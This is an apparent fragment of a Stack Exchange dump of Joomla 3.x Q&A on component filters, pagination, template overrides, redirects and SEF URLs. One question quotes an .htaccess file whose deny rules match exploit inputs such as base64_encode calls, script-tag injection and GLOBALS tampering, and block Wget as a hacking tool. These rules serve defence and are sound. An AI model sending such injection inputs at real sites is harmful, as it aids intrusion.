Title="How to create a view with filters and pagination" Tags="|joomla-3.x|component|development|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10326" PostTypeId="2" ParentId="10325" CreationDate="2015-06-07T16:23:52.537" Score="8" Body="&lt;p&gt;Follow the below steps:&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Filters:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;1) Make sure to add all your filterable fields in your model constructor&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function __construct ($config = array())&#xA;{&#xA;    if (empty($config['filter_fields']))&#xA;    {&#xA;        $config['filter_fields'] = array(&#xA;           'id', 'a.id',&#xA;           'catid', 'a.catid',&#xA;           ....&#xA;           ....&#xA;        );&#xA;    }&#xA;&#xA;    parent::__construct($config);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;2) Populate your filter values in your model (products.php) for use like below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;protected function populateState ($ordering = null, $direction = null)&#xA;{&#xA;    $search = $this-&amp;gt;getUserStateFromRequest($this-&amp;gt;context . '.filter.search', 'filter_search');&#xA;    $this-&amp;gt;setState('filter.search', $search);&#xA;&#xA;    $authorId = $app-&amp;gt;getUserStateFromRequest($this-&amp;gt;context . '.filter.author_id', 'filter_author_id');&#xA;    $this-&amp;gt;setState('filter.author_id', $authorId);&#xA;&#xA;    $published = $this-&amp;gt;getUserStateFromRequest($this-&amp;gt;context . '.filter.published', 'filter_published', '');&#xA;    $this-&amp;gt;setState('filter.published', $published);&#xA;&#xA;    $categoryId = $this-&amp;gt;getUserStateFromRequest($this-&amp;gt;context . '.filter.category_id', 'filter_category_id');&#xA;    $this-&amp;gt;setState('filter.category_id', $categoryId);&#xA;&#xA;    // and so on .....&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;3) Add your filter xml file with required filter fields defined in &lt;code&gt;models/forms/filter_products.xml&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;See administrator/components/com_content/models/forms/filter_articles.xml&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;4) Get and set filters in your &lt;code&gt;view.html.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;filterForm = $this-&amp;gt;get('FilterForm');&#xA;$this-&amp;gt;activeFilters = $this-&amp;gt;get('ActiveFilters');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;5) Display filters in list view &lt;code&gt;views/products/tmpl/default.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo JLayoutHelper::render('joomla.searchtools.default', array('view' =&amp;gt; $this));?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h1&gt;Pagination:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;1) Get pagination from model in your &lt;code&gt;view.html.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;pagination = $this-&amp;gt;get('Pagination');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;2) Display in your &lt;code&gt;views/products/tmpl/default.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo $this-&amp;gt;pagination-&amp;gt;getListFooter(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h1&gt;Notes:&lt;/h1&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I suggest you to refer Joomla Articles (com_content) component for any Joomla MVC component development. It is the best resource/documentation available to-date.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The above codes are meant for admin component. For front-end component, most of the steps are more or less same but you need to tweak them as per your requirement.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="4134" LastEditorUserId="4134" LastEditDate="2015-06-07T16:39:39.750" LastActivityDate="2015-06-07T16:39:39.750" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="10327" PostTypeId="1" CreationDate="2015-06-08T04:30:02.123" Score="0" ViewCount="2928" Body="&lt;p&gt;I have problem in joomla to show sub menu.I have create multi language site and i have near 500 menus. Now some of the old submenu i deleted and add new sub menu under parent menu. but those sub menu is not showing on my live server but it is showing on my local machine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For eg. I have parent menu Product and its menu id is 112 and i have another main menu(parent) called about us and its id is 120. now if i create submenu under the product it is id is auto incremented like (620). it new sub menu showing on my local machine but on live server it is not showing. so suppose if i change that submenu id to 119 then it will display on the product menu. but the submenu id is grater than 120 then is is now showing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help me.&lt;/p&gt;&#xA;" OwnerUserId="5386" LastActivityDate="2017-04-21T13:35:29.700" Title="Sub menu not showing in joomla" Tags="|joomla-3.x|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10328" PostTypeId="2" ParentId="10327" CreationDate="2015-06-08T06:13:23.390" Score="2" Body="&lt;p&gt;Your question does not provide much information, but as a guess only:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Ensure that &lt;code&gt;Show Sub-menu Items&lt;/code&gt; is turned 'On' for every menu module in your site. This is &lt;a href=&quot;https://stackoverflow.com/questions/11621073/joomla-sub-menus-not-appearing&quot;&gt;discussed&lt;/a&gt; already.&lt;/li&gt;&#xA;&lt;li&gt;How do you sync local machine and live server?&lt;/li&gt;&#xA;&lt;li&gt;How do you intend to change ID of a menu item? Bear in mind that direct modification in Joomla database could make your site total loss.&lt;/li&gt;&#xA;&lt;li&gt;This could be template issue - please provide live demo.&lt;/li&gt;&#xA;&lt;li&gt;Last but not least - &lt;a href=&quot;https://docs.joomla.org/Help34:Site_Maintenance_Clear_Cache&quot; rel=&quot;nofollow noreferrer&quot;&gt;clean&lt;/a&gt; Joomla cache after modifications.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1995" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2015-06-08T08:04:55.460" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="10329" PostTypeId="2" ParentId="10324" CreationDate="2015-06-08T07:36:01.063" Score="0" Body="&lt;p&gt;Thanx @FFrewin after I enabled the error reporting I found that this module causing the error &quot;K2 News Category&quot; as it's very old module and i'm using the latest version of joomla, k2, minik2 after disabling it the translated page worked correctly, I'm going to search for a new module to replace the old one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanx,&lt;/p&gt;&#xA;" OwnerUserId="3676" LastActivityDate="2015-06-08T07:36:01.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10330" PostTypeId="2" ParentId="10324" CreationDate="2015-06-08T08:20:11.203" Score="0" Body="&lt;p&gt;As a general advise for such kind of issues, when there is a broken layout/design, scripts are missing etc: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Remember to enable Error Reporting&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In many cases, there can be a php error caused by an extension or any other kind of code anywhere in the system, that might prevent the proper operation of the page/site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example if a Fatal Error occurs, then the page won't be able to load at full, if at all - and of course missing CSS or JS would be a normal symptom (not the cause), since the code that generates them, won't be able to run at all.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2015-06-08T08:20:11.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10331" PostTypeId="1" CreationDate="2015-06-08T10:49:16.937" Score="6" ViewCount="1222" Body="&lt;p&gt;I have created an override for my news category (which works perfectly) and another article override for my news articles as follows&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Category Override&#xA;my_template/html/com_content/category/news.php&#xA;my_template/html/com_content/category/news_item.php&#xA;my_template/html/com_content/category/news_children.php&#xA;my_template/html/com_content/category/news_links.php&#xA;&#xA;// Article Override    &#xA;my_template/html/com_content/article/news.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My question is : How can I (automatically) apply the above Article Override (news.php) to all the articles under the news category without doing it manually for each article via &quot;Article Edit Options&quot; or globally via &quot;Article Manager Options&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2hxGZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5387" LastEditorUserId="4134" LastEditDate="2015-06-08T11:55:48.277" LastActivityDate="2017-10-13T06:57:58.470" Title="How to automatically override template for a list of articles under a specific category?" Tags="|templates|overrides|template-override|" AnswerCount="6" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10332" PostTypeId="2" ParentId="10331" CreationDate="2015-06-08T11:23:25.460" Score="3" Body="&lt;ol&gt;&#xA;&lt;li&gt;Go to Content -&gt; Category Manager&lt;/li&gt;&#xA;&lt;li&gt;Edit your category&lt;/li&gt;&#xA;&lt;li&gt;Go to Options tab&lt;/li&gt;&#xA;&lt;li&gt;Assign your layout in &quot;Alternative Layout&quot; option.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="4134" LastActivityDate="2015-06-08T11:23:25.460" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10333" PostTypeId="2" ParentId="10331" CreationDate="2015-06-08T12:56:37.897" Score="3" Body="&lt;p&gt;I don't think you can do that automatically within Joomla itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would just create a new layout (set as default one globally) which checks the category id of the loaded article and then decides if it loads the default or the news layout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A bit hackish and hardcoded but should work.&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2015-06-08T12:56:37.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10334" PostTypeId="2" ParentId="5588" CreationDate="2015-06-08T13:05:23.867" Score="0" Body="&lt;p&gt;In my setup, a &lt;code&gt;wamp&lt;/code&gt; update had reset my &lt;code&gt;Apache&lt;/code&gt; &lt;code&gt;.conf&lt;/code&gt; file, and I found out that the module &lt;code&gt;mod_rewrite&lt;/code&gt; was disabled!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I just enabled it by un-commenting that specific line and It was working fine, after &lt;strong&gt;restarting the server&lt;/strong&gt;, also read &lt;a href=&quot;https://stackoverflow.com/a/30709854/807104&quot;&gt;this answer&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1761" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2015-06-08T13:05:23.867" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10336" PostTypeId="1" CreationDate="2015-06-08T13:29:57.113" Score="0" ViewCount="53" Body="&lt;p&gt;What do I need to do to make my self-written template for Joomla support frontend editing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Atm when I enable frontend editing I do get the edit button, but when I click it, it does not open anything, just reloads the page. &#xA;I cannot find any tutorials or figure out yet how the Joomla templates do it. It is a rather time critical, so any hint and help is appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: The problem seems to be the ldap plugin, issue isn't solved, but at least identified. &lt;/p&gt;&#xA;" OwnerUserId="2061" LastEditorUserId="2061" LastEditDate="2015-06-09T09:45:21.203" LastActivityDate="2015-06-09T09:45:21.203" Title="Joomla Template support for Frontendediting" Tags="|joomla-3.4|front-end|" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="10338" PostTypeId="1" CreationDate="2015-06-08T17:42:18.147" Score="3" ViewCount="1003" Body="&lt;p&gt;In Joomla 3.4 want to redirect this page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://www.portal-gestao.com/component/k2/1422-como-i...%C3%A9tica-na-sua-empresa.html&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://www.portal-gestao.com/item/1422-como-i...%C3%A9tica-na-sua-empresa.html&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using &lt;code&gt;Compontent - &amp;gt; Redirect&lt;/code&gt;, I added the following redirect:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/component/k2/1422-como-i...ética-na-sua-empresa.html&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Redirect to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.portal-gestao.com/item/1422-como-i...%C3%A9tica-na-sua-empresa.html&quot; rel=&quot;nofollow&quot;&gt;https://www.portal-gestao.com/item/1422-como-i...%C3%A9tica-na-sua-empresa.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But this did not work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I added in .htaccess:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine On&#xA;RewriteCond %{HTTP_HOST} ^www.portal-gestao.com&#xA;RewriteRule ^component/k2/(.*)$ https://www.portal-gestao.com/item/$1 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this also doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Help anyone?&lt;/p&gt;&#xA;" OwnerUserId="5250" LastEditorUserId="2233" LastEditDate="2015-06-14T20:08:21.320" LastActivityDate="2016-04-08T22:34:25.237" Title="Redirect URLs using Redirect component or htaccess" Tags="|joomla-3.x|.htaccess-configuration|redirect|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10339" PostTypeId="1" AcceptedAnswerId="10342" CreationDate="2015-06-08T18:40:37.980" Score="3" ViewCount="2712" Body="&lt;p&gt;I know how I can retrieve all information from a article in the database. I am trying to do the same thing for a category. And just for clarification, I am talking about when view is equal to category (index.php?option=com_content&amp;amp;view=category). Below is how I can retrieve any information for a article, when I am on a article page, I want to do the same exact thing, but when I am on a category page. Thanks!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$input = JFactory::getApplication()-&amp;gt;input;&#xA;$articleId = $input-&amp;gt;getInt('id');&#xA;$article = JTable::getInstance('content');&#xA;$article-&amp;gt;load($articleId);&#xA;$articleTitle = $article-&amp;gt;get('title');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5390" LastActivityDate="2015-06-09T18:35:20.627" Title="How to get database information from Joomla category" Tags="|joomla-3.x|php|mysql|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10340" PostTypeId="2" ParentId="10339" CreationDate="2015-06-08T21:57:57.607" Score="0" Body="&lt;p&gt;When you are on a category view (view=category), You can simply retrieve the current category information as follows&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;category-&amp;gt;id;&#xA;$this-&amp;gt;category-&amp;gt;title;&#xA;$this-&amp;gt;category-&amp;gt;alias;&#xA;$this-&amp;gt;category-&amp;gt;description;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5387" LastActivityDate="2015-06-08T21:57:57.607" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10341" PostTypeId="2" ParentId="10339" CreationDate="2015-06-08T22:37:42.810" Score="0" Body="&lt;p&gt;Try to add this function in your PHP file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function getCategory($id) {&#xA;    $app      = JFactory::getApplication();&#xA;    $database = JFactory::getDBO();&#xA;    $jinput   = $app-&amp;gt;input;&#xA;    if (($jinput-&amp;gt;get('view') == &quot;category&quot;) || ($jinput-&amp;gt;get('view') == &quot;categories&quot;)) {&#xA;        return $id;&#xA;    } elseif ($jinput-&amp;gt;get('view') == &quot;article&quot;) {&#xA;        $sql  = &quot;SELECT catid FROM #__content WHERE id = &quot; . $id;&#xA;        $database-&amp;gt;setQuery($sql);&#xA;&#xA;        return $database-&amp;gt;loadResult();&#xA;    }&#xA;}&#xA;&#xA;$catId = getCategory($jinput-&amp;gt;get('id', '', 'INT'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5387" LastActivityDate="2015-06-08T22:37:42.810" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="10342" PostTypeId="2" ParentId="10339" CreationDate="2015-06-09T01:44:50.680" Score="6" Body="&lt;p&gt;All I had to do was change content to category and I was able to access all data within the category table using the same method I did with the content. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$input = JFactory::getApplication()-&amp;gt;input;&#xA;$catId = $input-&amp;gt;getInt('id');&#xA;$cat = JTable::getInstance('category');&#xA;$cat-&amp;gt;load($catId);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5390" LastEditorUserId="5390" LastEditDate="2015-06-09T18:35:20.627" LastActivityDate="2015-06-09T18:35:20.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10343" PostTypeId="2" ParentId="966" CreationDate="2015-06-09T06:18:29.780" Score="1" Body="&lt;p&gt;If you're using PDO, you can fetch using key-pairs methods, I'm not extremely experienced with PDO + Joomla, but in pure PDO you can do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$q = $db-&amp;gt;query(&quot;SELECT `category_title` AS name, `value` AS value FROM `wherever`;&quot;);&#xA;$r  = $q-&amp;gt;fetchAll(PDO::FETCH_KEY_PAIR);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then it will group them as key =&gt; value, you can also write something like &quot;$sth-&gt;fetchAll(PDO::FETCH_ASSOC | PDO::FETCH_GROUP, 2)&quot; to fetch them as groups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://php.net/manual/en/pdo.constants.php&quot; rel=&quot;nofollow&quot;&gt;http://php.net/manual/en/pdo.constants.php&lt;/a&gt;&#xA;Search for &quot;FETCH_&quot; and you can see a set of fetch methods.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It might not answer your question entirely, but hopefully wake some ideas on how to solve your problem.&lt;/p&gt;&#xA;" OwnerUserId="5349" LastActivityDate="2015-06-09T06:18:29.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10344" PostTypeId="1" AcceptedAnswerId="10352" CreationDate="2015-06-09T10:17:16.997" Score="2" ViewCount="2322" Body="&lt;p&gt;I built international site and it adds language code to the end of the urls: &lt;code&gt;www.site.com/index.php/en/&lt;/code&gt; I enabled SEF urls and url rewriting in global configuration, I tried many .htaccess snippets to remove index.php but it keeps forwarding me to page not found, below is the snippet I used:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine On&#xA;RewriteCond %{REQUEST_URI} ^/index\.php/&#xA;RewriteRule ^index.php/(.*) /$1 [R,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Please advice me the right way to remove &lt;code&gt;index.php&lt;/code&gt; and keep the language code.&lt;/p&gt;&#xA;&lt;h3&gt;Update&lt;/h3&gt;&#xA;&lt;p&gt;.htaccess code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;IfModule mod_rewrite.c&amp;gt;                                        &#xA; RewriteEngine On                                                &#xA;                                                                 &#xA; #Force www:                                                     &#xA; RewriteEngine on                                                &#xA; RewriteCond %{HTTP_HOST} ^ncci-server.com [NC]                  &#xA; RewriteRule ^(.*)$ http://www.ncci-server.com/$1 [L,R=301,NC]   &#xA;                                                                 &#xA; #REWRITE RULES                                                  &#xA; #---------------------                                          &#xA;                                                                 &#xA; RewriteBase /MainSite/                                          &#xA;                                                                 &#xA; #RULE JOOMLA! RULE 1 &#xA;RewriteCond %{REQUEST_URI} !^/index\.php                                              &#xA;RewriteCond %{REQUEST_URI} /component/|(/[^.]*|\.(php|html?|feed|pdf|vcf|raw))$ [NC]  &#xA;RewriteCond %{REQUEST_FILENAME} !-f                                                   &#xA;RewriteCond %{REQUEST_FILENAME} !-d                                                   &#xA;RewriteRule .* index.php [L]                                                          &#xA;RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization},L]                       &#xA;                                                                                      &#xA;#remove index.php                                                                     &#xA;### Redirect index.php to Root                                                        &#xA;RewriteCond %{THE_REQUEST} !^POST                                                     &#xA;RewriteCond %{THE_REQUEST} ^[A-Z]{3,9}\ /index\.php\ HTTP/                            &#xA;RewriteCond %{SERVER_PORT}&amp;gt;s ^(443&amp;gt;(s)|[0-9]+&amp;gt;s)$                                     &#xA;RewriteRule ^index\.php$ http%2://www.ncci-server.com/ [R=301,L]                      &#xA;                                                                                      &#xA;#RULE JOOMLA! RULE 2                                                                  &#xA;RewriteCond %{QUERY_STRING} base64_encode[^(]*\([^)]*\) [OR]                          &#xA;RewriteCond %{QUERY_STRING} (&amp;gt;|%3C)([^s]*s)+cript.*(&amp;amp;lt;|%3E) [OR]                    &#xA;RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]                        &#xA;RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})                            &#xA;    &amp;lt;Files ^(.*)$&amp;gt;                                                                            &#xA;    ErrorDocument 403 &amp;quot;Forbidden&amp;quot;                                                     &#xA;    &amp;lt;/Files&amp;gt;&#xA;# STARTS WITH WEB                                                                                                                                       &#xA;    RewriteCond %{HTTP_USER_AGENT} ^web(zip|emaile|enhancer|fetch|go.?is|auto|bandit|clip|copier|master|reaper|sauger|site.?quester|whack) [NC,OR]      &#xA;                                                                                                                                                        &#xA;# ANYWHERE IN UA -- GREEDY REGEX                                                                                                                        &#xA;    RewriteCond %{HTTP_USER_AGENT} ^.*(craftbot|download|extract|stripper|sucker|ninja|clshttp|webspider|leacher|collector|grabber|webpictures).*$ [NC] &#xA;                                                                                                                                                        &#xA;# ISSUE 403 / SERVE ERRORDOCUMENT                                                                                                                       &#xA;    RewriteRule . - [F,L]                                                                                                                               &#xA;                                                                                                                                                        &#xA;########## Begin - Rewrite rules to block out some common exploits                                                                                      &#xA;## If you experience problems on your site block out the operations listed below                                                                        &#xA;## This attempts to block the most common type of exploit `attempts` to Joomla!                                                                         &#xA;#                                                                                                                                                       &#xA;# Block out any script trying to set a mosConfig value through the URL                                                                                  &#xA;    RewriteCond %{QUERY_STRING} mosConfig_[a-zA-Z_]{1,21}(=|\%3D) [OR]                                                                                  &#xA;# Block out any script trying to base64_encode crap to send via URL                                                                                     &#xA;    RewriteCond %{QUERY_STRING} base64_encode.*\(.*\) [OR]                                                                                              &#xA;# Block out any script that includes a &amp;lt;script&amp;gt; tag in URL                                                                                              &#xA;    RewriteCond %{QUERY_STRING} (\&amp;lt;|%3C).*script.*(\&amp;gt;|%3E) [NC,OR]                                                                                      &#xA;# Block out any script trying to set a PHP GLOBALS variable via URL                                                                                     &#xA;    RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]                                                                                      &#xA;# Block out any script trying to modify a _REQUEST variable via URL                                                                                     &#xA;RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})                                                                                              &#xA;# Send all blocked request to homepage with 403 Forbidden error!                                                                                        &#xA;    RewriteRule ^(.*)$ index.php [F,L]                                                                                                                  &#xA;#                                                                                                                                                       &#xA;########## End - Rewrite rules to block out some common exploits                                                                                        &#xA;                                                                                                                                                        &#xA;########## Begin - Common hacking tools and bandwidth hoggers block                                                                                     &#xA;## By SigSiu.net and @nikosdion.                                                                                                                        &#xA;# This line also disables Akeeba Remote Control 2.5 and earlier                                                                                         &#xA;    SetEnvIf user-agent &amp;quot;Indy Library&amp;quot; stayout=1                                                                                                        &#xA;# WARNING: Disabling wget will also block the most common method for                                                                                    &#xA;# running CRON jobs. Remove if you have issues with CRON jobs.                                                                                          &#xA;    SetEnvIf user-agent &amp;quot;Wget&amp;quot; stayout=1&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3676" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2015-06-11T13:38:09.520" Title="Remove index php add language code in the url" Tags="|joomla-3.x|language|sef|.htaccess-configuration|global-configuration|" AnswerCount="3" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="10346" PostTypeId="2" ParentId="10344" CreationDate="2015-06-09T10:53:16.777" Score="2" Body="&lt;h2&gt;Enable URL Rewriting&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;What you have to do, is to enable URL rewriting. It can be done in the backend: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Global Configuration -&gt; Site -&gt; Use URL Rewriting (set to yes)&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;or directly in the configuration.php file of the Joomla instance:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public $sef_rewrite = '1'; //1 = enabled, 0 = disabled;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note: When enabling the URL rewriting, an .htaccess file should exist in the root of the Joomla site.&lt;/em&gt;&#xA;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;RewriteBase in htaccess:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;If your site is not in the root folder, then you will also have to uncomment the &lt;strong&gt;RewriteBase&lt;/strong&gt; rule in the .htaccess file and add the path to the folder where your site resides, eg.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteBase /myjoomlafolder&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Redirect index.php to home page (htaccess):&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Finally, if you are also want to remove the index.php from the home page, therefore to remove the duplicate urls for the homepage, something like this should do the trick:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;### Redirect index.php to Root&#xA;RewriteCond %{THE_REQUEST} !^POST&#xA;RewriteCond %{THE_REQUEST} ^[A-Z]{3,9}\ /index\.php\ HTTP/&#xA;RewriteCond %{SERVER_PORT}&amp;gt;s ^(443&amp;gt;(s)|[0-9]+&amp;gt;s)$&#xA;RewriteRule ^index\.php$ http%2://mysite.com/ [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2015-06-09T10:58:42.787" LastActivityDate="2015-06-09T10:58:42.787" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10347" PostTypeId="2" ParentId="1159" CreationDate="2015-06-09T12:14:25.710" Score="3" Body="&lt;p&gt;Take a look at our &lt;a href=&quot;http://www.neno-translate.com&quot; rel=&quot;nofollow&quot;&gt;http://www.neno-translate.com&lt;/a&gt; it will fix issues like these when you install it and makes it easy to translate and manage your multilingual content.&lt;/p&gt;&#xA;" OwnerUserId="473" LastEditorUserId="473" LastEditDate="2015-06-10T12:19:17.620" LastActivityDate="2015-06-10T12:19:17.620" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10348" PostTypeId="2" ParentId="5802" CreationDate="2015-06-09T14:35:39.770" Score="3" Body="&lt;p&gt;My reading of the source is that the template parameter overrides the template name after Joomla has loaded the template settings. So, your university template got the settings for the default template and probably didn't have the correct information to be able to display.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/master/libraries/cms/application/site.php#L420&quot; rel=&quot;nofollow&quot;&gt;https://github.com/joomla/joomla-cms/blob/master/libraries/cms/application/site.php#L420&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1597" LastActivityDate="2015-06-09T14:35:39.770" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10349" PostTypeId="2" ParentId="10331" CreationDate="2015-06-09T17:28:00.037" Score="3" Body="&lt;p&gt;For an article override for items only of a specific category,&lt;br&gt;&#xA;I guess you could do something like this in  &lt;strong&gt;/your_template/html/com_content/article/default.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($this-&amp;gt;catid==2) {&#xA;    $this-&amp;gt;loadTemplate('news');&#xA;} else {&#xA;    $this-&amp;gt;loadTemplate('original');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I did not test this, but you get the picture I hope.&lt;/p&gt;&#xA;" OwnerUserId="3567" LastEditorUserId="3567" LastEditDate="2015-06-10T09:32:46.383" LastActivityDate="2015-06-10T09:32:46.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
